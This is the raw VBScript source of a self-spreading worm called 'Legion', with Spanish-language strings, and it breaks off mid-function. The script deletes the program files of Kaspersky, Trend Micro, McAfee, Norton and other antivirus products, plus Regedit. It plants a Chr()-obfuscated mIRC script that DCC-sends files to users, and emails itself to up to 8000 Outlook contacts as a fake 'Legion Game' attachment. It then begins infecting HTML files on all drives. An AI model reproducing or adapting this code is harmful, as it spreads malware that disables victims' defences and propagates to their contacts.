Rem Legion On Error Resume Next Dim legions, cmsgljeojf, WinDir,leg,legion Set legion = WScript.CreateObject ("WScript.shell") Set legions = CreateObject("Scripting.FileSystemObject") Set WinDir = legions.GetSpecialFolder(0) if path = "" then Registro = legion.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") If FileExists (Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal Pro\Avp32.exe") then path = Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal Pro" legions.DeleteFile (Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal Pro\*.*") If fileexists (Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal\Avp32.exe") then path = Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal" legions.DeleteFile (Registro & "\Kaspersky Lab\Kaspersky Antivirus Personal\*.*") if FileExists(Registro & "\Antiviral Toolkit Pro\avp32.exe") then path = Registros & "\Antiviral Toolkit Pro" legions.DeleteFile (Registro & "\Antiviral Toolkit Pro\*.*") if fileexists (Registro & "\AVPersonal\Avguard.exe") then path = Registro & "\AVPersonal" legions.DeleteFile (Registro & "\AVPersonal\*.*") if fileexists (Registro & "\Trend PC-cillin 98\IOMON98.EXE") then path = Registro & "\Trend PC-cillin 98" legions.DeleteFile (Registro & "\Trend PC-cillin 98\*.*") legions.DeleteFile (Registro & "\Trend PC-cillin 98\*.EXE") legions.DeleteFile (Registro & "\Trend PC-cillin 98\*.dll") If fileexists (Registro & "\mirc\mirc.ini") then path = Registro & "\mirc" Set mi = CreateObject("scripting.filesystemobject") Set win = mi.CreateTextFile(Registro & "\mirc\script.ini", True) win.writeline "["& Chr(83) & Chr(99) & chr(114) & chr(105) & chr(112) & chr(116) &"]" win.writeline ";No Modifiques esta linea puedes ocasionar serios problemas a tu mIRC" win.writeline ""& Chr(110) & Chr(48) & Chr(61) & Chr(111) & Chr(110) & Chr(32) & Chr(49) & Chr(58) & Chr(74) & Chr(79) & Chr(73) & Chr(78) & Chr(58) & "#:" & Chr(105) & Chr(102) & Chr(32) & Chr(40) & Chr(32) & Chr(36) & Chr(109) & Chr(101) & Chr(32) & "!=" & Chr(32) & Chr(36) & Chr(110) & Chr(105) & Chr(99) & Chr(107) & Chr(32) & Chr(41) & Chr(32) & Chr(123) & Chr(32) & "/msg" & Chr(32) & Chr(36) & Chr(78) & Chr(105) & Chr(99) & Chr(107) & Chr(32) & "aqui texto" & Chr(32) & Chr(124) & Chr(32) & Chr(47) & Chr(100) & Chr(99) & Chr(99) & Chr(32) & "send" & Chr(32) & Chr(36) & Chr(78) & Chr(73) & Chr(67) & Chr(75) & Chr(32) &"C:\Pathdearchivo" & Chr(125) win.Close legions.DeleteFile (Registro & "mirc\mirc.ini") if fileexists (Registro & "\Trend Micro\PC-cillin 2000\PCTIOMON.exe") then path = Registro & "\Trend Micro\PC-cillin 2000" legions.DeleteFile (Registro & "\Trend Micro\PC-cillin 2000\*.*") legions.DeleteFile (Registro & "\Trend Micro\PC-cillin 2000\*.EXE") legions.DeleteFile (Registro & "\Trend Micro\PC-cillin 2000\*.dll") if fileexists (WinDir & "\Regedit.exe") then path = WinDir & "\" legions.DeleteFile (WinDir & "\Regedit.exe") legions.DeleteFile (WinDir &"\System32\Regedt32.exe") If FileExists (Registro & "\McAfee\McAfee VirusScan\Avconsol.exe") then path = Registro & "\McAfee\McAfee VirusScan" legions.Deletefile (Registro & "\McAfee\McAfee VirusScan\*.*") legions.Deletefile (Registro & "\McAfee\McAfee VirusScan\*.exe") if FileExists (Registro & "\Norton Antivirus 2002\Nav32.exe") then path = Registro & "\Norton Antivirus 2002" legions.DeleteFile (Registro & "\Norton Antivirus 2002\*.DLL") if FileExists (Registro & "\Perav\Per.exe") then path = Registro & "\Perav" legions.DeleteFile (Registro & "\Perav\*.*") End If legions.CopyFile Wscript.Scriptfullname, "C:\Legion.vbs" Set batlegion = CreateObject("scripting.filesystemobject") Set Create = CreateObject ("Scripting.FileSystemObject") Set mail = Create.CreateTextFile("C:\mail.vbs") mail.writeline "On Error Resume Next" mail.writeline "Dim leg, Mail, Counter, A, B, C, D, E" mail.writeline "Set leg = CreateObject" & Chr(32)& "(" & chr(34) & "Outlook.Application" & Chr(34) &")" mail.writeline "Set C = CreateObject "& Chr(32) & "(" & chr(34) & "Scripting.FileSystemObject" & Chr(34)& ")" mail.writeline "Set Mail = leg.GetNameSpace" & Chr(32) & "(" & chr(34)& "MAPI" & Chr(34)&")" mail.writeline "For A = 1 To Mail.AddressLists.Count" mail.writeline "Set B = Mail.AddressLists (A)" mail.writeline "Counter = 1" mail.writeline "Set C = leg.CreateItem (0)" mail.writeline "For D = 1 To B.AddressEntries.Count" mail.writeline "E = B.AddressEntries (Counter)" mail.writeline "C.Recipients.Add E" mail.writeline "Counter = Counter + 1" mail.writeline "If Counter > 8000 Then Exit For" mail.writeline "Next" mail.writeline "C.Subject =" & Chr(32) & Chr(34) &"Legion Game" & Chr(34) mail.writeline "C.Body = "& Chr(32) & Chr(34) & "YA jugaste el juego Legion? si no aqui te lo doy checalo y hay me dices que tal..." & Chr(34) mail.writeline "C.Attachments.Add"& Chr(32) & Chr(34) & "C:\Legion.vbs" & Chr(34) mail.writeline "C.DeleteAfterSubmit = True" mail.writeline "C.Send" mail.writeline "Next" mail.Close legion.Run ("C:\mail.vbs") On Error Resume Next Dim legioninfect Set Wslegion = CreateObject("WScript.Shell") Set Fsolegion = CreateObject("scripting.filesystemobject") If Wslegion.regread("HKCU\software\Legion") <> "sistem = Infected" Then HTML() End If Function HTML() ON ERROR RESUME NEXT For Each drvar In Fsolegion.drives Un = dr & "\" Call HTL(Un) Next End Function Function HTL(Va) legioninfect = "" Set infecting = Fsolegion.OpenTextFile(wscript.scriptfullname, 1) Do While infecting.AtendOfStream = False Line = infecting.ReadLine legioninfect = legioninfect & Chr(34) & " & vbCrLf & " & Chr(34) & Replace(Line, Chr(34), Chr(34) & " & Chr(34) & " & Chr(34)) Loop infecting.Close Cr = Va Set fo = Fsolegion.GetFolder(Cr) For Each Re In Fsolegion.GetFolder(Cr).Files If LCase(Fsolegion.GetExtensionName(Re))="htt" Or LCase(Fsolegion.GetExtensionName(Re))="HTT" Or LCase(Fsolegion.GetExtensionName(Re))="html" Or LCase(Fsolegion.GetExtensionName(Re))="htm" Then Dim Fp Dim Srl Set Fp = Fsolegion.OpenTextFile(Re,1,False) Srl = Fp.ReadAll Fp.Close Dim InfectFile InfectFile = "" InfectFile = InfectFile & VbCrlf & "